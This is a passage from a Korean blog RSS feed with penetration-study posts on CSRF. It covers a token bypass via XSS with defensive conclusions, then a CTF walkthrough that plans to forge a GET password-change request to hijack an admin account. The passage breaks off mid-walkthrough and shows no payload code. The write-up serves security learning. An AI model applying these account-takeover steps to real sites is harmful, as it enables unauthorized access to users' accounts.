&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;일단 제 계정을 테스트 했을 땐 적용이 되는 모습이며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자에도 적용해보니 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;csrf_token을 가져와서 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;우회하는 모습입니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;결론 csrf_token이 있다고 다 막을 수는 없습니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;만약 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;XSS 취약점이 있는 페이지가 있다고 했을 때 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이를 이용하여 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 토큰이 존재하는 페이지를 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;로드하여 토큰을 가져오게 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;될 수 있기 때문입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그래서 XSS를 먼저 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;1순위로 방어해야 한다고 생각하며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;개인정보 (비밀번호 변경) &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서버의 영향이 가는 페이지는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 토큰이 아닌&amp;nbsp; 2차 인증 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;및 재 인증 요구&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;사용자와 상호 처리 가능한 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;기법을 적용하여 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;위조된 요청이 차단될 수 있게 해야합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;</description>
      <category>정보보안 공부/모의해킹 스터디 9기</category>
      <author>mister jeon</author>
      <guid isPermaLink="true">https://thjkl2004.tistory.com/43</guid>
      <comments>https://thjkl2004.tistory.com/43#entry43comment</comments>
      <pubDate>Wed, 7 Jan 2026 00:20:52 +0900</pubDate>
    </item>
    <item>
      <title>모의해킹 취업반 스터디 9기 12주차 (1) CSRF</title>
      <link>https://thjkl2004.tistory.com/42</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&amp;lt; 12주차&amp;nbsp; &amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;저번주에는 XSS중 Client Script에 대해 알아보았습니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이번 12주차에서는 CSRF 공격에 대해 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF (Cross site request forgery) &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;요청을 위조하는 공격 입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF으로 무엇을 하는가 ? &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt; 피해자가 공격자가 원하는 대로 서버에 요청을 보내게 됩니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그럼 XSS랑 비슷 하다고 생각합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;XSS 차이점&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;XSS 공격은 악성 스크립트가 클라이언트에서 실행되는 데 반해 ,&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 공격은 사용자가 악성 스크립트를 서버에 요청한다는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;점이 다릅니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그래서 CSRF는 XSS와 함께 활용하면 훨씬 위험합니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;(공격범위 확장)&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;예시로 CTF문제로 CSRF의 위험성을 좀 더 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btiqbq/dJMcabW9Zcc/7YCgE6KBT2Iff5CvNfkQP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btiqbq/dJMcabW9Zcc/7YCgE6KBT2Iff5CvNfkQP0/img.png&quot; data-origin-width=&quot;991&quot; data-origin-height=&quot;997&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;32.15&quot; data-filename=&quot;blob&quot; style=&quot;width: 31.3998%; margin-right: 10px;&quot; id=&quot;kEditorPhotosEditingImage-0&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btiqbq/dJMcabW9Zcc/7YCgE6KBT2Iff5CvNfkQP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbtiqbq%2FdJMcabW9Zcc%2F7YCgE6KBT2Iff5CvNfkQP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;991&quot; height=&quot;997&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwrBy5/dJMcacBLrnG/u0tt4gM28McLp1GXCOKZ01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwrBy5/dJMcacBLrnG/u0tt4gM28McLp1GXCOKZ01/img.png&quot; data-origin-width=&quot;565&quot; data-origin-height=&quot;568&quot; data-is-animation=&quot;false&quot; style=&quot;width: 31.4231%; margin-right: 10px;&quot; data-widthpercent=&quot;32.17&quot; id=&quot;kEditorPhotosEditingImage-1&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwrBy5/dJMcacBLrnG/u0tt4gM28McLp1GXCOKZ01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwrBy5%2FdJMcacBLrnG%2Fu0tt4gM28McLp1GXCOKZ01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;565&quot; height=&quot;568&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mPFBL/dJMcabJDmvD/km2QZbYQuFlMurgKfQXLU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mPFBL/dJMcabJDmvD/km2QZbYQuFlMurgKfQXLU0/img.png&quot; data-origin-width=&quot;1154&quot; data-origin-height=&quot;1046&quot; data-is-animation=&quot;false&quot; style=&quot;width: 34.8516%;&quot; data-widthpercent=&quot;35.68&quot; id=&quot;kEditorPhotosEditingImage-2&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mPFBL/dJMcabJDmvD/km2QZbYQuFlMurgKfQXLU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmPFBL%2FdJMcabJDmvD%2Fkm2QZbYQuFlMurgKfQXLU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1154&quot; height=&quot;1046&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CTF 문제는 본인만의 admin 계정을 탈취하고 flag를 얻는 것 입니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;즉 개인정보 Nothing here 부분에 flag를 얻어내면 되겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;admin 계정은 제가 계정을 생성시&amp;nbsp; _admin 계정도 같이 생성되는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;방식의 CTF 문제 입니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;저는 먼저 test12 라는 계정을 생성했습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그럼 test12_admin이라는 계정이 생성이 됬겠죠?&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 공격전 XSS 취약점이 있는지 확인하겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cgKX3K/dJMcaajD8WS/hblIGzSeQNHUB7AQCCRKKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cgKX3K/dJMcaajD8WS/hblIGzSeQNHUB7AQCCRKKK/img.png&quot; data-origin-width=&quot;1268&quot; data-origin-height=&quot;696&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.3706%; margin-right: 10px;&quot; data-widthpercent=&quot;50.96&quot; id=&quot;kEditorPhotosEditingImage-3&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cgKX3K/dJMcaajD8WS/hblIGzSeQNHUB7AQCCRKKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcgKX3K%2FdJMcaajD8WS%2FhblIGzSeQNHUB7AQCCRKKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1268&quot; height=&quot;696&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CWF8w/dJMcadtQVOY/KajeWSQ2qkccWwkOLJT5zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CWF8w/dJMcadtQVOY/KajeWSQ2qkccWwkOLJT5zk/img.png&quot; data-origin-width=&quot;1767&quot; data-origin-height=&quot;1008&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.4666%;&quot; data-widthpercent=&quot;49.04&quot; id=&quot;kEditorPhotosEditingImage-4&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CWF8w/dJMcadtQVOY/KajeWSQ2qkccWwkOLJT5zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCWF8w%2FdJMcadtQVOY%2FKajeWSQ2qkccWwkOLJT5zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1767&quot; height=&quot;1008&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;확인해보니 게시판에 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;XSS 취약점 있습니다. 이제 CSRF 공격으로 해봅시다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DRZ5K/dJMcabQnLCw/7uyupAkHVcn09ZQgL4Bc6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DRZ5K/dJMcabQnLCw/7uyupAkHVcn09ZQgL4Bc6K/img.png&quot; data-origin-width=&quot;1073&quot; data-origin-height=&quot;1032&quot; data-is-animation=&quot;false&quot; style=&quot;width: 26.5311%; margin-right: 10px;&quot; data-widthpercent=&quot;27.16&quot; id=&quot;kEditorPhotosEditingImage-5&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DRZ5K/dJMcabQnLCw/7uyupAkHVcn09ZQgL4Bc6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDRZ5K%2FdJMcabQnLCw%2F7uyupAkHVcn09ZQgL4Bc6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1073&quot; height=&quot;1032&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ooxrf/dJMb99SzEDO/li2gAYSjDTYkVIS83fsUh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ooxrf/dJMb99SzEDO/li2gAYSjDTYkVIS83fsUh0/img.png&quot; data-origin-width=&quot;907&quot; data-origin-height=&quot;839&quot; data-is-animation=&quot;false&quot; style=&quot;width: 27.5855%; margin-right: 10px;&quot; data-widthpercent=&quot;28.24&quot; id=&quot;kEditorPhotosEditingImage-6&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ooxrf/dJMb99SzEDO/li2gAYSjDTYkVIS83fsUh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOoxrf%2FdJMb99SzEDO%2Fli2gAYSjDTYkVIS83fsUh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;907&quot; height=&quot;839&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwXEV8/dJMcaaDWwVA/kYt8HwzLGwQvG7L9xOFhB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwXEV8/dJMcaaDWwVA/kYt8HwzLGwQvG7L9xOFhB1/img.png&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;587&quot; data-origin-width=&quot;1002&quot; style=&quot;width: 43.5578%;&quot; data-widthpercent=&quot;44.6&quot; id=&quot;kEditorPhotosEditingImage-7&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwXEV8/dJMcaaDWwVA/kYt8HwzLGwQvG7L9xOFhB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwXEV8%2FdJMcaaDWwVA%2FkYt8HwzLGwQvG7L9xOFhB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1002&quot; height=&quot;587&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 test12_admin 일반적으로 비밀번호를 테스트 해본결과 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;로그인이 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;되지 않다는&amp;nbsp; &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;것 을 알수 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;하지만 제 계정을 통해 마이페이지 중 비밀번호 변경이 있었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;확인하니 회원 수정까지 되더라고요. 그래서 butp suite으로 확인하니 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;GET 방식인데 CSRF 방지법인 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 토큰을 사용하지 않더라고요. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그럼...mypage_update.php을 위조해서 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;test12_admin&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;에게 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;보내면 비밀번호가 바뀔지? 테스트 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPmagM/dJMb99ZlsW2/AcpwpAYSU2CrsGlygeE25K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPmagM/dJMb99ZlsW2/AcpwpAYSU2CrsGlygeE25K/img.png&quot; data-origin-width=&quot;1468&quot; data-origin-height=&quot;1377&quot; data-is-animation=&quot;false&quot; style=&quot;width: 38.1852%; margin-right: 10px;&quot; data-widthpercent=&quot;38.63&quot; id=&quot;kEditorPhotosEditingImage-8&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPmagM/dJMb99ZlsW2/AcpwpAYSU2CrsGlygeE25K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPmagM%2FdJMb99ZlsW2%2FAcpwpAYSU2CrsGlygeE25K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1468&quot; height=&quot;1377&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mlxbM/dJMcaacScg8/LSty1QK6XRTBzPA6K19uu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mlxbM/dJMcaacScg8/LSty1QK6XRTBzPA6K19uu1/img.png&quot; data-origin-width=&quot;1397&quot; data-origin-height=&quot;825&quot; data-is-animation=&quot;false&quot; style=&quot;width: 60.652%;&quot; data-widthpercent=&quot;61.37&quot; id=&quot;kEditorPhotosEditingImage-9&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mlxbM/dJMcaacScg8/LSty1QK6XRTBzPA6K19uu1/img.png&quot; 